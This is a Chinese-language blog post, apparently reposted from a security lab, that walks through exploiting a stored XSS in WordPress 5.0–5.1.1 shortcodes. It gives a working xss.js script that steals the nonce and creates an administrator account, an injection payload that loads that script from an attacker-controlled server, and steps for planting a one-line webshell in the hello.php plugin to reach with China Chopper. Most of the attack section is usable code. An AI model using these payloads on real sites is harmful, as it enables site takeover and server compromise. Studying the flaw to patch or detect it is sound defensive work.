前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >wordpress提权漏洞的利用

wordpress提权漏洞的利用

作者头像
字节脉搏实验室
发布2020-04-21 16:15:02
1.9K0
发布2020-04-21 16:15:02
举报

基本描述:

利用编辑者权限(普通用户)添加文章,使用wordpress新版编辑器内的【短代码】功能添加HTML编码字符【< >】左尖角和右尖角符号实现XSS

当管理员账号访问到该编辑页面时,将会执行XSS攻击,成功通过POC添加一个管理员账号

漏洞影响范围:

WordPress 5.0到5.0.4,5.1和5.1.1版本。

1.wordpress搭建

2.添加拥有编辑权限的用户账号

3.登录test账号,添加短代码测试XSS

XSS代码:

<img src=x onerror=alert(1)>

4.准备一个web服务器存放js代码(xss.js)

目的:

访问js,添加attacker用户,密码attacker

// Send a GET request to the URL '/wp-admin/user-new.php', and extract the current 'nonce' value

var ajaxRequest = new XMLHttpRequest();

var requestURL = "/wp-admin/user-new.php";

var nonceRegex = /ser" value="([^"]*?)"/g;

ajaxRequest.open("GET", requestURL, false);

ajaxRequest.send();

var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);

var nonce = nonceMatch[1];

// Construct a POST query, using the previously extracted 'nonce' value, and create a new user with an arbitrary username / password, as an Administrator

var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@site.com&pass1=attacker&pass2=attacker&role=administrator";

ajaxRequest = new XMLHttpRequest();

ajaxRequest.open("POST", requestURL, true);

ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

ajaxRequest.send(params);

6.添加一篇文章,添加短代码实行xss攻击,等待管理员上钩(注意修改链接)

"><img src=1 onerror="javascript:(function () { var url = 'http://链接/xss.js';if (typeof beef == 'undefined') { var bf=document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();">

7.等待管理员,访问该编辑页

如图所示,已经成功添加attacker用户,是管理员权限

8.通过编辑插件hello.php填入一句话木马

注意:这里可以有多种方式,可以利用404.php,可以利用默认插件等等,注意随机应变

9.中国菜刀直接砍过去

http://域名或者IP地址/wp-content/plugins/hello.php

10.成功获得WebShell

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-04-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞影响范围:
相关产品与服务
访问管理
访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档